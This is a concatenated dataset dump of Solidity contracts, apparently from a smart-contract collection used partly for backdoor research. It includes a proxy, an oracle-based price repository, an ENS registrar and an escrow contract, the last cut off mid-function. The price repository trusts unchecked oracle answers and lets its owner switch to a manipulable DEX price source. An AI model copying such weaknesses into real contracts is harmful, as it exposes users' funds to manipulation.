contract ERC1967Proxy is Proxy, ERC1967Upgrade {
constructor(address _logic, bytes memory _data) payable {
assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1));
_upgradeToAndCall(_logic, _data, false);
}
function _implementation() internal view virtual override returns (address impl) {
return ERC1967Upgrade._getImplementation();
}
}
contract TransparentUpgradeableProxy is ERC1967Proxy {
constructor(address _logic,
address admin_,
bytes memory _data) payable ERC1967Proxy(_logic, _data) {
assert(_ADMIN_SLOT == bytes32(uint256(keccak256("eip1967.proxy.admin")) - 1));
_changeAdmin(admin_);
}
modifier ifAdmin() {
if (msg.sender == _getAdmin()) {
_;
} else {
_fallback();
}
}
function admin() external ifAdmin returns (address admin_) {
admin_ = _getAdmin();
}
function implementation() external ifAdmin returns (address implementation_) {
implementation_ = _implementation();
}
function changeAdmin(address newAdmin) external virtual ifAdmin {
_changeAdmin(newAdmin);
}
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeToAndCall(newImplementation, bytes(""), false);
}
function upgradeToAndCall(address newImplementation, bytes calldata data) external payable ifAdmin {
_upgradeToAndCall(newImplementation, data, true);
}
function _admin() internal view virtual returns (address) {
return _getAdmin();
}
function _beforeFallback() internal virtual override {
require(msg.sender != _getAdmin(), "TransparentUpgradeableProxy: admin cannot fallback to proxy target");
super._beforeFallback();
}
}
contract VaultProxy is TransparentUpgradeableProxy {
constructor(address _logic,
address admin_,
address _underlying,
string memory _name,
string memory _symbol,
uint256 _adminFee,
uint256 _callerFee,
uint256 _maxReinvestStale,
address _WAVAX)
TransparentUpgradeableProxy(_logic,
admin_,
abi.encodeWithSignature("initialize(address,string,string,uint256,uint256,uint256,address)",
_underlying,
_name,
_symbol,
_adminFee,
_callerFee,
_maxReinvestStale,
_WAVAX)) {}
}
| 122,780 | 13,171 |
fb158e07c6a82a0d396bff598d8218bda1720aea8a087bac38966223afd26c0e
| 23,643 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/94/9423342074107bea35A37B2aD83a0b61543ecfD1_PriceRepository.sol
| 3,909 | 15,664 |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
// Part: AggregatorV3Interface
interface AggregatorV3Interface {
function decimals() external view returns (uint8);
function description() external view returns (string memory);
function version() external view returns (uint256);
// getRoundData and latestRoundData should both raise "No data present"
// if they do not have data to report, instead of returning unset values
// which could be misinterpreted as actual reported values.
function getRoundData(uint80 _roundId)
external
view
returns (uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound);
function latestRoundData()
external
view
returns (uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound);
}
// Part: IERC20_short
interface IERC20_short {
function decimals() external view returns (uint8);
}
// Part: IPriceRepository
interface IPriceRepository {
function addPriceFeed(address token1,
address token2,
address priceFeedContract) external;
function getAmountOut(address token1, address token2, uint256 amountIn) external view returns (uint256);
}
// Part: IUniswapV2Router01
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB);
function removeLiquidityETH(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external returns (uint[] memory amounts);
function swapTokensForExactTokens(uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
// Part: OpenZeppelin/[emailprotected]/Context
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
// Part: OpenZeppelin/[emailprotected]/SafeMath
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// Part: IUniswapV2Router02
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function factory() external override pure returns (address);
function WETH() external override pure returns (address);
function addLiquidity(address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external override returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external override payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external override returns (uint amountA, uint amountB);
function removeLiquidityETH(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external override returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external override returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external override returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external override returns (uint[] memory amounts);
function swapTokensForExactTokens(uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline) external override returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external override
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external override
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external override
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external override
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external override pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external override pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external override pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external override view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external override view returns (uint[] memory amounts);
}
// Part: OpenZeppelin/[emailprotected]/Ownable
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// Part: PoolACL
contract PoolACL is Ownable{
mapping(address => bool) private _poolServices;
modifier onlyPoolService() {
require(_poolServices[msg.sender], "Allowed for pool services only");
_;
}
function addToPoolServicesList(address poolService) external onlyOwner{
_poolServices[poolService] = true;
}
}
// File: PriceRepository.sol
contract PriceRepository is Ownable, IPriceRepository, PoolACL {
using SafeMath for uint256;
uint256 _from = 0;
mapping(address => mapping(address => AggregatorV3Interface)) _oracles;
IUniswapV2Router02 private _router;
constructor(address router) public {
_router = IUniswapV2Router02(router);
}
function setSource(uint256 from) external onlyOwner {
_from = from;
}
// And new source of prices for tokens
function addPriceFeed(address token1,
address token2,
address priceFeedContract) external override onlyPoolService {
_oracles[token1][token2] = AggregatorV3Interface(priceFeedContract);
}
function getAmountOut(address token1, address token2, uint256 amountIn)
external view override returns (uint256) {
if (amountIn == 0) return 0;
if (token1 == token2) return amountIn.mul(1e8);
if (_from == 0) {
return getAmountOut0(token1, token2, amountIn);
} else {
return getAmountOut1(token1, token2, amountIn);
}
}
function getAmountOut0(address token1, address token2, uint256 amountIn)
public view returns (uint256) {
require(address(_oracles[token1][token2]) != address(0), "Oracle doesn't exists");
uint256 decimals1 = uint256(IERC20_short(token1).decimals());
uint256 decimals2 = uint256(IERC20_short(token2).decimals());
(uint80 roundID,
int price,
uint startedAt,
uint timeStamp,
uint80 answeredInRound) = _oracles[token1][token2].latestRoundData();
return amountIn.mul(uint256(price)).mul(10 ** decimals2).div(10 ** decimals1);
}
function getAmountOut1(address token1, address token2, uint256 amountIn)
public view returns (uint256) {
require(address(_router) != address(0), "Router doesn't exists");
address[] memory addresses = new address[](2);
addresses[0] = token1;
addresses[1] = token2;
uint[] memory amount = _router.getAmountsOut(amountIn, addresses);
return uint256(amount[1]).mul(1e8);
}
}
| 74,604 | 13,172 |
0328b46cbb1f4fd71080a8db05babb4c53583eff578fac3c7bc50e354fee2b00
| 28,234 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/3a/3a3cb92630618ba6d615f520b858c6f2d24028a3_Address.sol
| 4,256 | 16,494 |
pragma solidity ^0.5.0;
interface ENS {
// Logged when the owner of a node assigns a new owner to a subnode.
event NewOwner(bytes32 indexed node, bytes32 indexed label, address owner);
// Logged when the owner of a node transfers ownership to a new account.
event Transfer(bytes32 indexed node, address owner);
// Logged when the resolver for a node changes.
event NewResolver(bytes32 indexed node, address resolver);
// Logged when the TTL of a node changes
event NewTTL(bytes32 indexed node, uint64 ttl);
// Logged when an operator is added or removed.
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function setRecord(bytes32 node, address owner, address resolver, uint64 ttl) external;
function setSubnodeRecord(bytes32 node, bytes32 label, address owner, address resolver, uint64 ttl) external;
function setSubnodeOwner(bytes32 node, bytes32 label, address owner) external returns(bytes32);
function setResolver(bytes32 node, address resolver) external;
function setOwner(bytes32 node, address owner) external;
function setTTL(bytes32 node, uint64 ttl) external;
function setApprovalForAll(address operator, bool approved) external;
function owner(bytes32 node) external view returns (address);
function resolver(bytes32 node) external view returns (address);
function ttl(bytes32 node) external view returns (uint64);
function recordExists(bytes32 node) external view returns (bool);
function isApprovedForAll(address owner, address operator) external view returns (bool);
}
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
contract IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) public view returns (uint256 balance);
function ownerOf(uint256 tokenId) public view returns (address owner);
function approve(address to, uint256 tokenId) public;
function getApproved(uint256 tokenId) public view returns (address operator);
function setApprovalForAll(address operator, bool _approved) public;
function isApprovedForAll(address owner, address operator) public view returns (bool);
function transferFrom(address from, address to, uint256 tokenId) public;
function safeTransferFrom(address from, address to, uint256 tokenId) public;
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public;
}
contract IERC721Receiver {
function onERC721Received(address operator, address from, uint256 tokenId, bytes memory data)
public returns (bytes4);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
// XXX Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address.
// See https://ethereum.stackexchange.com/a/14016/36603
// for more details about how this works.
// TODO Check this again before the Serenity release, because all addresses will be
// contracts then.
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
contract ERC165 is IERC165 {
bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7;
mapping(bytes4 => bool) private _supportedInterfaces;
constructor () internal {
_registerInterface(_INTERFACE_ID_ERC165);
}
function supportsInterface(bytes4 interfaceId) external view returns (bool) {
return _supportedInterfaces[interfaceId];
}
function _registerInterface(bytes4 interfaceId) internal {
require(interfaceId != 0xffffffff);
_supportedInterfaces[interfaceId] = true;
}
}
contract ERC721 is ERC165, IERC721 {
using SafeMath for uint256;
using Address for address;
// Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
// which can be also obtained as `IERC721Receiver(0).onERC721Received.selector`
bytes4 private constant _ERC721_RECEIVED = 0x150b7a02;
// Mapping from token ID to owner
mapping (uint256 => address) private _tokenOwner;
// Mapping from token ID to approved address
mapping (uint256 => address) private _tokenApprovals;
// Mapping from owner to number of owned token
mapping (address => uint256) private _ownedTokensCount;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) private _operatorApprovals;
bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd;
constructor () public {
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(_INTERFACE_ID_ERC721);
}
function balanceOf(address owner) public view returns (uint256) {
require(owner != address(0));
return _ownedTokensCount[owner];
}
function ownerOf(uint256 tokenId) public view returns (address) {
address owner = _tokenOwner[tokenId];
require(owner != address(0));
return owner;
}
function approve(address to, uint256 tokenId) public {
address owner = ownerOf(tokenId);
require(to != owner);
require(msg.sender == owner || isApprovedForAll(owner, msg.sender));
_tokenApprovals[tokenId] = to;
emit Approval(owner, to, tokenId);
}
function getApproved(uint256 tokenId) public view returns (address) {
require(_exists(tokenId));
return _tokenApprovals[tokenId];
}
function setApprovalForAll(address to, bool approved) public {
require(to != msg.sender);
_operatorApprovals[msg.sender][to] = approved;
emit ApprovalForAll(msg.sender, to, approved);
}
function isApprovedForAll(address owner, address operator) public view returns (bool) {
return _operatorApprovals[owner][operator];
}
function transferFrom(address from, address to, uint256 tokenId) public {
require(_isApprovedOrOwner(msg.sender, tokenId));
_transferFrom(from, to, tokenId);
}
function safeTransferFrom(address from, address to, uint256 tokenId) public {
safeTransferFrom(from, to, tokenId, "");
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public {
transferFrom(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data));
}
function _exists(uint256 tokenId) internal view returns (bool) {
address owner = _tokenOwner[tokenId];
return owner != address(0);
}
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view returns (bool) {
address owner = ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
function _mint(address to, uint256 tokenId) internal {
require(to != address(0));
require(!_exists(tokenId));
_tokenOwner[tokenId] = to;
_ownedTokensCount[to] = _ownedTokensCount[to].add(1);
emit Transfer(address(0), to, tokenId);
}
function _burn(address owner, uint256 tokenId) internal {
require(ownerOf(tokenId) == owner);
_clearApproval(tokenId);
_ownedTokensCount[owner] = _ownedTokensCount[owner].sub(1);
_tokenOwner[tokenId] = address(0);
emit Transfer(owner, address(0), tokenId);
}
function _burn(uint256 tokenId) internal {
_burn(ownerOf(tokenId), tokenId);
}
function _transferFrom(address from, address to, uint256 tokenId) internal {
require(ownerOf(tokenId) == from);
require(to != address(0));
_clearApproval(tokenId);
_ownedTokensCount[from] = _ownedTokensCount[from].sub(1);
_ownedTokensCount[to] = _ownedTokensCount[to].add(1);
_tokenOwner[tokenId] = to;
emit Transfer(from, to, tokenId);
}
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data)
internal returns (bool)
{
if (!to.isContract()) {
return true;
}
bytes4 retval = IERC721Receiver(to).onERC721Received(msg.sender, from, tokenId, _data);
return (retval == _ERC721_RECEIVED);
}
function _clearApproval(uint256 tokenId) private {
if (_tokenApprovals[tokenId] != address(0)) {
_tokenApprovals[tokenId] = address(0);
}
}
}
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract BaseRegistrar is IERC721, Ownable {
uint constant public GRACE_PERIOD = 90 days;
event ControllerAdded(address indexed controller);
event ControllerRemoved(address indexed controller);
event NameMigrated(uint256 indexed id, address indexed owner, uint expires);
event NameRegistered(uint256 indexed id, address indexed owner, uint expires);
event NameRenewed(uint256 indexed id, uint expires);
// The ENS registry
ENS public ens;
// The namehash of the TLD this registrar owns (eg, .eth)
bytes32 public baseNode;
// A map of addresses that are authorised to register and renew names.
mapping(address=>bool) public controllers;
// Authorises a controller, who can register and renew domains.
function addController(address controller) external;
// Revoke controller permission for an address.
function removeController(address controller) external;
// Set the resolver for the TLD this registrar manages.
function setResolver(address resolver) external;
// Returns the expiration timestamp of the specified label hash.
function nameExpires(uint256 id) external view returns(uint);
// Returns true iff the specified name is available for registration.
function available(uint256 id) public view returns(bool);
function register(uint256 id, address owner, uint duration) external returns(uint);
function renew(uint256 id, uint duration) external returns(uint);
function reclaim(uint256 id, address owner) external;
}
contract BaseRegistrarImplementation is BaseRegistrar, ERC721 {
// A map of expiry times
mapping(uint256=>uint) expiries;
bytes4 constant private INTERFACE_META_ID = bytes4(keccak256("supportsInterface(bytes4)"));
bytes4 constant private ERC721_ID = bytes4(keccak256("balanceOf(address)") ^
keccak256("ownerOf(uint256)") ^
keccak256("approve(address,uint256)") ^
keccak256("getApproved(uint256)") ^
keccak256("setApprovalForAll(address,bool)") ^
keccak256("isApprovedForAll(address,address)") ^
keccak256("transferFrom(address,address,uint256)") ^
keccak256("safeTransferFrom(address,address,uint256)") ^
keccak256("safeTransferFrom(address,address,uint256,bytes)"));
bytes4 constant private RECLAIM_ID = bytes4(keccak256("reclaim(uint256,address)"));
constructor(ENS _ens, bytes32 _baseNode) public {
ens = _ens;
baseNode = _baseNode;
}
modifier live {
require(ens.owner(baseNode) == address(this));
_;
}
modifier onlyController {
require(controllers[msg.sender]);
_;
}
function ownerOf(uint256 tokenId) public view returns (address) {
require(expiries[tokenId] > now);
return super.ownerOf(tokenId);
}
// Authorises a controller, who can register and renew domains.
function addController(address controller) external onlyOwner {
controllers[controller] = true;
emit ControllerAdded(controller);
}
// Revoke controller permission for an address.
function removeController(address controller) external onlyOwner {
controllers[controller] = false;
emit ControllerRemoved(controller);
}
// Set the resolver for the TLD this registrar manages.
function setResolver(address resolver) external onlyOwner {
ens.setResolver(baseNode, resolver);
}
// Returns the expiration timestamp of the specified id.
function nameExpires(uint256 id) external view returns(uint) {
return expiries[id];
}
// Returns true iff the specified name is available for registration.
function available(uint256 id) public view returns(bool) {
// Not available if it's registered here or in its grace period.
return expiries[id] + GRACE_PERIOD < now;
}
function register(uint256 id, address owner, uint duration) external returns(uint) {
return _register(id, owner, duration, true);
}
function registerOnly(uint256 id, address owner, uint duration) external returns(uint) {
return _register(id, owner, duration, false);
}
function _register(uint256 id, address owner, uint duration, bool updateRegistry) internal live onlyController returns(uint) {
require(available(id));
require(now + duration + GRACE_PERIOD > now + GRACE_PERIOD); // Prevent future overflow
expiries[id] = now + duration;
if(_exists(id)) {
// Name was previously owned, and expired
_burn(id);
}
_mint(owner, id);
if(updateRegistry) {
ens.setSubnodeOwner(baseNode, bytes32(id), owner);
}
emit NameRegistered(id, owner, now + duration);
return now + duration;
}
function renew(uint256 id, uint duration) external live onlyController returns(uint) {
require(expiries[id] + GRACE_PERIOD >= now); // Name must be registered here or in grace period
require(expiries[id] + duration + GRACE_PERIOD > duration + GRACE_PERIOD); // Prevent future overflow
expiries[id] += duration;
emit NameRenewed(id, expiries[id]);
return expiries[id];
}
function reclaim(uint256 id, address owner) external live {
require(_isApprovedOrOwner(msg.sender, id));
ens.setSubnodeOwner(baseNode, bytes32(id), owner);
}
function supportsInterface(bytes4 interfaceID) external view returns (bool) {
return interfaceID == INTERFACE_META_ID ||
interfaceID == ERC721_ID ||
interfaceID == RECLAIM_ID;
}
}
| 99,929 | 13,173 |
8977c42ecdb71aad87223e28ab9c542ea1cc656c923878a8cb9d8f347575f470
| 16,090 |
.sol
|
Solidity
| false |
504446259
|
EthereumContractBackdoor/PiedPiperBackdoor
|
0088a22f31f0958e614f28a10909c9580f0e70d9
|
contracts/realworld-contracts/0x1c02ce498dc6d0d6ef05a253e021258b07eeba91.sol
| 3,469 | 14,607 |
pragma solidity ^0.4.16;
contract EscrowMyEther {
//Author: Cheung Ka Yin
//Date: 27 September 2017
//Version: EscrowMyEther v1.0 MainNet
address public owner;
//Each buyer address consist of an array of EscrowStruct
struct EscrowStruct
{
address buyer; //Person who is making payment
address seller; //Person who will receive funds
address escrow_agent; //Escrow agent to resolve disputes, if any
uint escrow_fee; //Fee charged by escrow
uint amount; //Amount of Ether (in Wei) seller will receive after fees
bool escrow_intervention; //Buyer or Seller can call for Escrow intervention
bool release_approval; //Buyer or Escrow(if escrow_intervention is true) can approve release of funds to seller
bool refund_approval; //Seller or Escrow(if escrow_intervention is true) can approve refund of funds to buyer
bytes32 notes; //Notes for Seller
}
struct TransactionStruct
{
//Links to transaction from buyer
address buyer; //Person who is making payment
uint buyer_nounce; //Nounce of buyer transaction
}
//Database of Buyers. Each buyer then contain an array of his transactions
mapping(address => EscrowStruct[]) public buyerDatabase;
//Database of Seller and Escrow Agent
mapping(address => TransactionStruct[]) public sellerDatabase;
mapping(address => TransactionStruct[]) public escrowDatabase;
mapping(address => uint) public Funds;
mapping(address => uint) public escrowFee;
//Run once the moment contract is created. Set contract creator
function EscrowMyEther() {
owner = msg.sender;
}
function() payable
{
//LogFundsReceived(msg.sender, msg.value);
}
function setEscrowFee(uint fee) {
//Allowed fee range: 0.1% to 10%, in increments of 0.1%
require (fee >= 1 && fee <= 100);
escrowFee[msg.sender] = fee;
}
function getEscrowFee(address escrowAddress) constant returns (uint) {
return (escrowFee[escrowAddress]);
}
function newEscrow(address sellerAddress, address escrowAddress, bytes32 notes) payable returns (bool) {
require(msg.value > 0 && msg.sender != escrowAddress);
//Store escrow details in memory
EscrowStruct memory currentEscrow;
TransactionStruct memory currentTransaction;
currentEscrow.buyer = msg.sender;
currentEscrow.seller = sellerAddress;
currentEscrow.escrow_agent = escrowAddress;
//Calculates and stores Escrow Fee.
currentEscrow.escrow_fee = getEscrowFee(escrowAddress)*msg.value/1000;
//0.25% dev fee
uint dev_fee = msg.value/400;
Funds[owner] += dev_fee;
//Amount seller receives = Total amount - 0.25% dev fee - Escrow Fee
currentEscrow.amount = msg.value - dev_fee - currentEscrow.escrow_fee;
//These default to false, no need to set them again
currentEscrow.notes = notes;
//Links this transaction to Seller and Escrow's list of transactions.
currentTransaction.buyer = msg.sender;
currentTransaction.buyer_nounce = buyerDatabase[msg.sender].length;
sellerDatabase[sellerAddress].push(currentTransaction);
escrowDatabase[escrowAddress].push(currentTransaction);
buyerDatabase[msg.sender].push(currentEscrow);
return true;
}
//switcher 0 for Buyer, 1 for Seller, 2 for Escrow
function getNumTransactions(address inputAddress, uint switcher) constant returns (uint)
{
if (switcher == 0) return (buyerDatabase[inputAddress].length);
else if (switcher == 1) return (sellerDatabase[inputAddress].length);
else return (escrowDatabase[inputAddress].length);
}
//switcher 0 for Buyer, 1 for Seller, 2 for Escrow
function getSpecificTransaction(address inputAddress, uint switcher, uint ID) constant returns (address, address, address, uint, bytes32, uint, bytes32)
{
bytes32 status;
EscrowStruct memory currentEscrow;
if (switcher == 0)
{
currentEscrow = buyerDatabase[inputAddress][ID];
status = checkStatus(inputAddress, ID);
}
else if (switcher == 1)
{
currentEscrow = buyerDatabase[sellerDatabase[inputAddress][ID].buyer][sellerDatabase[inputAddress][ID].buyer_nounce];
status = checkStatus(currentEscrow.buyer, sellerDatabase[inputAddress][ID].buyer_nounce);
}
else if (switcher == 2)
{
currentEscrow = buyerDatabase[escrowDatabase[inputAddress][ID].buyer][escrowDatabase[inputAddress][ID].buyer_nounce];
status = checkStatus(currentEscrow.buyer, escrowDatabase[inputAddress][ID].buyer_nounce);
}
return (currentEscrow.buyer, currentEscrow.seller, currentEscrow.escrow_agent, currentEscrow.amount, status, currentEscrow.escrow_fee, currentEscrow.notes);
}
function buyerHistory(address buyerAddress, uint startID, uint numToLoad) constant returns (address[], address[],uint[], bytes32[]){
uint length;
if (buyerDatabase[buyerAddress].length < numToLoad)
length = buyerDatabase[buyerAddress].length;
else
length = numToLoad;
address[] memory sellers = new address[](length);
address[] memory escrow_agents = new address[](length);
uint[] memory amounts = new uint[](length);
bytes32[] memory statuses = new bytes32[](length);
for (uint i = 0; i < length; i++)
{
